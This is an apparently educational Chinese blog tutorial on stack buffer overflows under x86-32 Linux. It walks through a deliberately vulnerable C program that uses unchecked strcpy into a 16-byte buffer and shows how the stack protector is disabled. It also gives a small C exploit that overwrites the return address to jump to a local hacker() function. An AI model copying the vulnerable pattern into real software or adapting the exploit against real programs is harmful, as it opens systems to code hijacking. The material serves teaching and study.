x86-32-Linux下栈溢出攻击原理

在x86-32-Linux下构造一个栈溢出攻击

栈缓冲区溢出攻击:向栈上的数组写入超过数组长度的数据导致覆盖到正常数据{栈帧上的返回地址}。

IA-32下C函数调用约定:

  1. 调用者将参数从右向左入栈,构造参数
  2. call 指令短跳转,会将call指令下一条指令地址(RA)入栈,供RET指令返回使用
  3. 被调用函数创建栈帧,push %ebp; mov %esp, %ebp;

则一个函数调用的栈帧情况:

c 复制代码
void func(int a,int b,int c) {
	int tmp = 0x99;
	return ;
}
void main() {
	func(1,2,3);
}
0x0 参数C
0x4 参数B
0x8 参数A
0xC RA地址
0x10 旧%ebp
0x14 tmp变量值0x99

攻击原理: 利用strcpy(dst, src)函数,对写入的src数据长度不做检查的特性,对函数的栈数组进行写溢出攻击。

假设待写溢出的数组在test()中

c 复制代码
// a.c
#include <stdio.h>
#include <string.h>

void test(char *str) {
        char buffer[16]; // 待攻击处
        strcpy(buffer, str);
        printf("%s\n", buffer);
}

void hacker(void) {
        printf("being hacked\n");
}

int main(int argc,char *argv[]) {
        test(argv[1]);
        return 0;
}

gcc a.c -o a.out 编译后,objdump -d a.out反汇编查看栈布局。

发现GCC对strcpy()的调用处插入栈检查代码call 8048398 <__stack_chk_fail@plt>.

首先关闭gcc的栈保护机制,gcc -o a.out -fno-stack-protector,查看反汇编发现没有了栈检查代码。

于是根据反汇编代码来得到test()的栈帧布局情况。

sub $0x28, %esp指令得知gcc给test()函数生成了0x28个字节大小的栈空间,布局如下。

并且通过传入strcpy()函数的buffer参数lea -0x18(%ebp), %eax得到buffer变量在栈上的起始地址

数组buffer的起始地址是-0x18(%ebp),于是便能够知道数组在栈帧的中的位置

%ebp+0x8 参数 char *str
%ebp+0x4 RA返回地址
%ebp当前的值,也就是test的栈底,0 main的%ebp
%ebp-0x4
ebp-0x8
-0xC buf 12~15
-0x10 buf 8~11
-0x14 buf 4~7
-0x18 buf 0~3
-0x1C
%ebp-0x20
%ebp-0x24 = %esp + 0x4 strcpy的参数:char *str
%ebp-0x28 = %esp strcpy的参数:buf地址=-0x18(%ebp)

既然有了buffer数组的位置,那么就能得到buffer数组到RA返回地址处的长度=16+3*4=28字节,28字节后面开始的 4字节便是需要构造的"攻击"跳转地址

假设我们想要其跳转到void hacker()函数,写入RA处为hacker()函数地址即可。反汇编查看hacker()函数的虚拟地址

有了hacker()函数地址,便能构造写溢出攻击字符串的内容了,28字节的垃圾字符+4字节hacker()函数地址+\0

代码如下:

c 复制代码
// test.c
#include <unistd.h>
#include <stdio.h>

char tmp[33];

int main() {
        for (int i=0; i<28; i++)
                tmp[i] = 'F';
        // 对应hacker()地址 0x08048439
        tmp[28] = '\x39';
        tmp[29] = '\x84';
        tmp[30] = '\x04';
        tmp[31] = '\x08';
        tmp[32] = '\0';
        char *argv[3] = { "./a.out", tmp, NULL};

        execve(argv[0], argv, NULL);
        return 0;
}
// gcc a.c -fno-stack-protector -o a.out
// gcc test.c -o test -std=c99

./test运行结果如下:栈溢出攻击成功

总结

需要根据反汇编代码来查看函数栈中的变量的布局,然后根据栈变量布局再来构造溢出字符串。

相关推荐
IC 见路不走1 小时前
LeetCode 第91题:解码方法
linux·运维·服务器
翻滚吧键盘1 小时前
查看linux中steam游戏的兼容性
linux·运维·游戏
小能喵1 小时前
Kali Linux Wifi 伪造热点
linux·安全·kali·kali linux
汀沿河2 小时前
8.1 prefix Tunning与Prompt Tunning模型微调方法
linux·运维·服务器·人工智能
zly35002 小时前
centos7 ping127.0.0.1不通
linux·运维·服务器
小哥山水之间3 小时前
基于dropbear实现嵌入式系统ssh服务端与客户端完整交互
linux
ldj20203 小时前
2025 Centos 安装PostgreSQL
linux·postgresql·centos
翻滚吧键盘3 小时前
opensuse tumbleweed上安装显卡驱动
linux
cui_win4 小时前
【内存】Linux 内核优化实战 - net.ipv4.tcp_tw_reuse
linux·网络·tcp/ip
CodeWithMe7 小时前
【Note】《深入理解Linux内核》 Chapter 15 :深入理解 Linux 页缓存
linux·spring·缓存